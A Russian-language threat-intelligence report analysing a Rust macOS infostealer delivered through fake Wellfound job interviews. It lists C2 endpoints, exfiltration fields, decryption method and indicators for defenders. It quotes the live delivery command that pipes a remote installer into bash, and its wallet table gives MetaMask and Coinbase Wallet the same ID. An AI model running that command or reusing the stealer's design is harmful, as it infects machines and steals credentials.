HyperHives macOS Infostealer — Полный технический анализ

Разведка угроз: Rust-based универсальный бинарник macOS, доставляемый через поддельную цепочку собеседований на Wellfound (ранее AngelList). Оператор под псевдонимом «Felix» из «HyperHive» заманивал жертв запустить вредоносный установщик с macos.hyperhives.net. Этот репозиторий документирует полный статический анализ: восстановлено 571 зашифрованных значений конфигурации, включая C2-URL, Sentry DSN и 276 целевых ID расширений Chrome.
| |
|---|
| Образец SHA-256 | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| C2-домен | cloudproxy.link |
| Домен доставки | macos.hyperhives.net |
| Платформа-приманка | Wellfound (ранее AngelList) |
| Псевдоним оператора | «Felix» в «HyperHive» |
| VirusTotal | 9 / 63 детекций |
| Классификация | Публичное раскрытие / набор IOCs |
| Последнее обновление | Апрель 2026 |
Содержание
Пакеты threat intelligence
Структура репозитория```
.
├── README.md # This report
├── iocs.txt # Flat IOC list
├── yara_rules.yar # YARA detection rules
├── sigma_rules.yml # Sigma detection rules
├── stix/
│ └── bundle.json # STIX 2.1 threat-intelligence bundle
├── attack-navigator-layer.json # ATT&CK Navigator layer
├── output/
│ ├── full_decrypted_config.json # Machine-readable decrypted configuration
│ ├── iocs.json # Structured IOC export
│ ├── c2_protocol.txt # C2 protocol field documentation
│ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates)
│ ├── source_map.txt # Reconstructed source-file layout
│ └── targets.txt # Targeted applications and data paths
├── scripts/
│ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation)
│ ├── analyze.py # Static analysis driver
│ ├── extract_all.py # String and structure extractor
│ ├── r2_analyze.py # Radare2 analysis automation
│ ├── r2_targeted.py # Targeted R2 analysis for helpers
│ └── validate_repo.py # CI validation script
├── sample/
│ └── README.md # Instructions for sample placement
├── Dockerfile # Analysis container image
├── docker-compose.yml # Air-gapped compose config
├── lab.sh # Helper script for Docker lab
├── SECURITY.md # Safe handling and vulnerability reporting
├── CONTRIBUTING.md # Contribution guidelines
├── CHANGELOG.md # Release history
├── LICENSE # MIT
└── .github/
├── workflows/validate.yml # CI: YARA + Sigma + file checks
├── ISSUE_TEMPLATE/ # Structured issue forms
└── PULL_REQUEST_TEMPLATE.md # PR checklist
---
## Быстрый старт
Поместите образец как `sample/installer_binary` (см. [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) для проверки хэша), затем:```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py
Файл compose налагает network_mode: none, read_only: true и отключает все возможности Linux. Полные правила обращения см. в SECURITY.md.
TL;DR
Объявление о вакансии на Wellfound (ранее AngelList) привело к цепочке социальной инженерии из нескольких писем от оператора под именем «Felix» из компании «HyperHive». После лестных отзывов о техническом опыте цели и назначения фиктивного собеседования, злоумышленник направил жертву «просмотреть продукт» на сайте hyperhives.net и специально изучить Settings → Diagnostics → Log — предлог для запуска следующего:```
curl -s https://macos.hyperhives.net/install | nohup bash &
Вредоносная нагрузка представляет собой **универсальный бинарник Mach-O размером 8,5 МБ** (x86_64 + arm64), скомпилированный на Rust. Статический анализ в изолированной Docker-лаборатории с эмуляцией процессора **570 уникальных вспомогательных процедур x86_64** позволил восстановить **все 571 зашифрованных значения конфигурации**, раскрыв:
- **C2:** `cloudproxy.link` — четыре HTTPS-эндпоинта
- **Sentry (атрибуция):** полный DSN с ID организации/проекта на `ingest.de.sentry.io`
- **Идентификатор сборки:** пользователь Cargo `rootr`, кодовое имя `force`, версия `9.12.1`
- **Цели:** 276 идентификаторов расширений Chrome (криптокошельки, менеджеры паролей, корпоративные учётные данные)
Тактика совпадает с **кампаниями Contagious Interview, связанными с КНДР** — фиктивные собеседования на легитимных платформах, многоэтапное построение доверия, доставка через `curl | bash`, Rust-стилер для macOS и кража криптовалютных данных.
---
## 1 — Как это началось
### Приманка: фиктивное собеседование на Wellfound
Атака началась с **выглядящего легитимно объявления о вакансии на Wellfound** (ранее AngelList). После того как цель откликнулась, началась следующая переписка от имени оператора, использующего личину **«Felix»** и название компании **«HyperHive»**:
**Письмо 1** (4 апреля 2026 г.) — Первый контакт. «Felix» подтвердил получение резюме и профиля в LinkedIn цели, заявил, что их «Tech Lead» одобрил дальнейшие шаги, и особо упомянул реальный технический опыт цели. В письме говорилось, что HyperHive «создаёт десктопную версию Hyperhives для разных операционных систем», и предлагалось назначить собеседование по UTC+0.
**Письмо 2** (5 апреля 2026 г.) — Напоминание о планировании. Предлагалось конкретное время собеседования (8 апреля 15:00 UTC) и содержалась критическая инструкция по доставке нагрузки:
> *«Если возможно, пожалуйста, также бегло просмотрите журнал продукта в разделе **Settings → Diagnostics → Log**. Мы можем попросить краткие комментарии по журналу и любым другим наблюдениям о продукте — это часто даёт хороший сигнал об инженерном опыте и внимании к деталям».*
Это направляло цель на `https://hyperhives.net`, где переход к разделу диагностики запускал:```
curl -s https://macos.hyperhives.net/install | nohup bash &
Что произошло дальше
Команда загрузила и выполнила 8,5-мегабайтный универсальный бинарник Mach-O. Через AppleScript появился поддельный диалог ввода пароля macOS. Пароль не был введен. Процессы были немедленно завершены, а образец сохранен для анализа.
Сводка методов социальной инженерии
2 — Бинарный файл
Образец демонстрирует инженерный уровень производственного качества: семантическое версионирование, интеграция Sentry для операционной надежности и большая встроенная конфигурация, зашифрованная с помощью 570 уникальных вспомогательных функций.
Охват VirusTotal
Полный отчет — 9 из 63 движков обнаружили на момент первоначальной отправки (апрель 2026). Более 85% движков не смогли пометить этот образец.
Известные семейства от вендоров для перекрестной ссылки: HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).
Не обнаружено: BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda и 44 других движка. Такой низкий показатель обнаружения подчеркивает операционную эффективность подхода Rust + пользовательская обфускация, используемого в этой кампании.
Коэффициенты обнаружения меняются по мере обновления сигнатур вендорами. Проверьте отчет VirusTotal для актуальных результатов.
3 — Что он крадет
Данные браузера (на основе Chromium)
- Типы украденных данных: пароли, кредитные карты, куки, токены сессий, автозаполнение, история просмотров.
Системные данные macOS
- Связка ключей входа (
login.keychain-db) — требует пароль пользователя, полученный через поддельный диалог
- Apple Notes — извлекаются через AppleScript/osascript
- Идентификаторы оборудования —
IOPlatformExpertDevice / IOPlatformUUID, сообщаются как hardwares на C2
Обмен сообщениями
- Telegram Desktop — материалы сессии
tdata для полного захвата учетной записи
Криптокошельки (188 логических целей, 276 идентификаторов расширений)
Всестороннее нацеливание на кошельки-расширения браузера, включая MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live и Trezor Suite. Полное описание в Разделе 8 и output/full_decrypted_config.json.
Менеджеры паролей
Обход защиты и операционные средства контроля
Экcфильтрация
Данные подготавливаются в ~/Documents/temp_data/Application/, сжимаются в ZIP, загружаются через multipart/form-data по HTTPS. IP-адрес жертвы и геолокация определяются через https://freeipapi.com/api/json.
4 — Расшифрованная инфраструктура C2
Командный центр и управление
| Конечная точка | Роль |
|---|
https://cloudproxy.link/m/opened | Маяк / активация |
https://cloudproxy.link/m/metrics |
Sentry DSN (отпечаток оператора)```
https://526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008
| Компонент | Значение |
|-----------|---------|
| **Открытый ключ** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **ID организации** | `4509139651198976` |
| **ID проекта** | `4509422649213008` |
| **Регион** | EU — `ingest.de.sentry.io` |
Законный процесс с Sentry может восстановить данные регистрации учётной записи, платёжные записи и метаданные доступа, связанные с этой организацией/проектом.
### API геолокации
`https://freeipapi.com/api/json` — IP-адрес жертвы / страна для C2 JSON (`ipAddress`, `countryCode`).
### Протокол эксфильтрации C2
| Поле | Роль |
|-------|------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Идентификаторы жертвы / сессии |
| `ip`, `geo` | Из API геолокации |
| `pers_password` | Пароль из поддельного диалога |
| `passwords`, `wallets`, `credits`, `autofills` | Похищенные данные |
| `is_vm`, `hardwares`, `force_mode` | Флаги окружения / управления |
Метод загрузки: `multipart/form-data`, `application/zip`, строка подключения `UPLD connect`.
---
## 5 — Атрибуция
### Индикаторы компрометации
| Индикатор | Значение | Источник |
|-----------|----------|----------|
| Приманка-платформа | Wellfound (AngelList) | Отчёт жертвы |
| Личность оператора | «Felix» из «HyperHive» | Письма-приманки |
| Сайт-приманка | `hyperhives.net` | Письма-приманки |
| Email отправителя | `[email protected]` | Письма-приманки |
| Домен доставки | `macos.hyperhives.net` | Загрузка полезной нагрузки |
| IP-адрес доставки | `81.28.12.12` (Gcore CDN) | DNS-разрешение |
| Регистратор / email | Tucows; Spacemail | WHOIS / MX |
| **Домен C2** | **`cloudproxy.link`** | **Расшифровано из образца** |
| **DSN Sentry** | См. [Раздел 4](#sentry-dsn-operator-fingerprint) | **Расшифровано из образца** |
| Пользователь сборки | `rootr` | Встроенные пути Cargo |
| SHA-256 образца | `5c7385c3...bf8dd3` | Хеш файла |
### Псевдоним разработчика: `rootr`
Встроенный путь `/Users/rootr/.cargo/registry/`. OSINT по псевдониму — [github.com/rootr](https://github.com/rootr) (на дату анализа): указана компания «RootR», местонахождение Женева, аккаунт создан **2024-06-27**, ноль публичных репозиториев. Соответствует одноразовому или операционному профилю.
### КНДР / Contagious Interview (аналитическая оценка)
| TTP | Данный образец | Сообщённый образец, связанный с КНДР |
|-----|----------------|--------------------------------------|
| **Фиктивное рекрутирование на легитимной платформе** | Объявление на Wellfound (AngelList) → цепочка писем с «Felix» | Contagious Interview: фиктивный контакт рекрутера через LinkedIn, Indeed, Wellfound |
| **Многоступенчатая социальная инженерия** | 2+ письма со ссылкой на реальное резюме, организация фиктивного собеседования | Установление доверия перед доставкой полезной нагрузки; задокументировано в нескольких кампаниях КНДР |
| **Предлог: обзор продукта / тестовое задание по коду** | «Проверьте Настройки → Диагностика → Лог» | Предлоги «просмотрите наш проект» / «запустите этот тест кода» |
| Доставка через `curl \| bash` | Установочная однострочная команда с `macos.hyperhives.net` | Распространённый вектор социальной инженерии для macOS |
| Rust-бинарный универсальный двоичный файл Mach-O | rustc 1.87.0, x86_64 + arm64 | Кластеры RustDoor / RustBucket и аналогичные |
| Поддельный диалог пароля | AppleScript `osascript` | Задокументировано в связанных macOS-кампаниях |
| Большой набор целей криптокошельков | 276 ID расширений, 188 названий кошельков | Финансовая мотивация, согласующаяся с получением доходов КНДР |
**Уверенность:** **высокая** по тематическому совпадению и совпадению TTP. Конвейер фиктивной работы на Wellfound, цепочка доверия из нескольких писем, предлог обзора продукта, Rust-стилер для macOS и ориентация на криптокошельки близко соответствуют сценарию Contagious Interview. Это аналитическая оценка, а не заявление об атрибуции со стороны правительства или правоохранительных органов.
---
## 6 — Криптоанализ
Строки конфигурации защищены **пользовательским шифром XOR**: 570 небольших вспомогательных функций x86_64 (диапазон кода `0x10000`–`0x15000`) каждая вычисляет уникальное 16-битное смещение от `(data_ptr, seed)`. Смещение индексирует бинарный файл для получения 32-байтового ключа XOR, применяемого к соответствующему блоку шифротекста.
### Неудачные подходы
| Метод | Результат |
|--------|----------|
| Наивный перебор XOR | Никакого связного открытого текста |
| Угадывание ключей AES / PBKDF2 | Расписание ключей не найдено |
| Полная эмуляция Unicorn для всей среды выполнения Rust | Сложность управления потоком привела к расхождению |
### Успешный подход
1. **Сканировать** RIP-относительные инструкции `LEA`, нацеленные на область конфигурации (`0x2b8000`–`0x2bc000`).
2. **Парсить** предшествующий код для извлечения `(адрес_вспомогательной_функции, указатель_данных, seed)`.
3. **Эмулировать** каждую вспомогательную функцию изолированно с помощью [Unicorn Engine](https://www.unicorn-engine.org/) (максимум 200 инструкций).
4. **XOR-расшифровать** 32-байтовый блок по целевому адресу, используя ключ по вычисленному смещению.
5. **Расширить** для строк из нескольких блоков (URL, DSN) и записей метаданных OR+XOR.
**Покрытие:** 381 блок XOR + 190 записей метаданных OR+XOR = **восстановлено 571 значение конфигурации** за 1.1 секунды. Ноль нерасшифрованных зашифрованных записей.
**Реализация:** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)
---
## 7 — Соответствие MITRE ATT&CK
> Импортируйте [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) в [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) для интерактивного просмотра.
| Техника | ID | Использование в данном образце |
|---------|----|--------------------------------|
| Фишинг | T1566 | Социально-инженерное письмо от `[email protected]` |
| Выполнение пользователем: Вредоносный файл | T1204.002 | `curl \| bash` с приманки |
| Интерпретатор команд и скриптов: AppleScript | T1059.002 | Поддельный диалог пароля, эксфильтрация Apple Notes |
| Интерпретатор команд и скриптов: Unix Shell | T1059.004 | Первоначальное выполнение через переданный bash |
| Учётные данные из хранилищ паролей: Связка ключей | T1555.001 | Извлечение связки ключей входа |
| Учётные данные из хранилищ паролей: Учётные данные из веб-браузера | T1555.003 | Расшифровка Chromium Login Data |
| Кража веб-куки сессии | T1539 | Кража куки и токенов браузера |
| Данные из локальной системы | T1005 | Кошельки, Telegram, Заметки, автозаполнение |
| Архивирование собранных данных | T1560 | Промежуточное хранение ZIP в `~/Documents/temp_data/` |
| Эксфильтрация по каналу C2 | T1041 | HTTPS POST на `cloudproxy.link` |
| Протокол прикладного уровня: Веб-протоколы | T1071.001 | HTTPS C2 с четырьмя конечными точками |
| Обход виртуализации/песочницы | T1497 | Флаг `is_vm` |
| Обфусцированные файлы или информация | T1027 | 570 вспомогательных функций XOR |
| Ввод данных | T1056 | Поддельный диалог пароля |
| Обнаружение информации о системе | T1082 | Сбор ID оборудования и версии ОС |
| Обнаружение конфигурации сети системы | T1016 | Геолокация через `freeipapi.com` |
| Подрыв механизмов доверия: Обход Gatekeeper | T1553.001 | `xattr -c` на загруженном бинарном файле |
---
## 8 — Справочник кошельков и ID расширений
188 названий кошельков и **276 уникальных** 32-символьных ID расширений Chrome были восстановлены. В следующей таблице приведены цели с высоким профилем; полный список — в [Приложении A](#appendix-a--all-276-chrome-extension-ids) и в `output/full_decrypted_config.json`.
| Кошелёк | ID расширения |
|---------|--------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
**Настольные кошельки:** каталоги данных Ledger Live и Trezor Suite также являются целями.
**Важно:** Эти ID расширений идентифицируют **легитимные расширения браузера**, локальные данные которых атакует вредоносная программа для кражи. Они **не являются** вредоносными расширениями.
---
## 9 — Рекомендуемые действия
### Для потенциальных жертв
- **Не запускайте** неизвестные однострочники `curl | bash`
- Смените все учётные данные, сохранённые в браузере, ключи криптокошельков и мастер-пароли менеджеров паролей, если они были скомпрометированы
- Проверьте наличие `~/Documents/temp_data/` на диске
- Сообщите в местные правоохранительные органы и соответствующий национальный CERT (например, IC3, NCSC)
### Для защитников
- **Заблокируйте** `macos.hyperhives.net`, `cloudproxy.link` и `81.28.12.12` (проверьте влияние общего хостинга перед блокировкой IP)
- **Охотитесь** за HTTPS-трафиком на `cloudproxy.link` и DNS-запросами для обоих доменов
- **Разверните** правила YARA и Sigma из этого репозитория (настройте под свою среду)
- **Сравните** установленные расширения Chrome со списком из 276 ID (расширения легитимны — вредоносное ПО читает их локальные данные)
- **Импортируйте** `stix/bundle.json` в свою платформу CTI (MISP, OpenCTI, ThreatConnect и др.)
### Для законного расследования
| Цель | Что запрашивать |
|------|-----------------|
| Sentry | Данные учётной записи и платёжные записи для организации `4509139651198976` |
| Регистраторы доменов | Записи WHOIS для `cloudproxy.link` и `hyperhives.net` |
| Gcore CDN | Журналы доступа для `81.28.12.12` |
| Поставщик email | Данные учётной записи для `[email protected]` |
| GitHub | Метаданные учётной записи для `rootr` |
---
## 10 — Методология
Анализ проводился в **Docker-контейнере** с:
- `network_mode: none` (без исходящего подключения)
- `read_only: true` (неизменяемая корневая файловая система)
- Отозваны все возможности Linux (`cap_drop: ALL`)
- Параметр безопасности `no-new-privileges`
Инструменты: Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2 и пользовательские скрипты. Динамический запуск вредоносного ПО не производился — все выводы основаны на статическом анализе и изолированной эмуляции CPU отдельных вспомогательных функций.
Проверенные артефакты: [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).
---
## Приложение A — Все 276 ID расширений Chrome
Конфигурация вредоносного ПО ссылается на эти ID расширений (пути local-storage / LevelDB в профилях пользователей). **Эти ID идентифицируют легитимные расширения, являющиеся целью кражи данных, а не вредоносные расширения.**```
abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl
kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
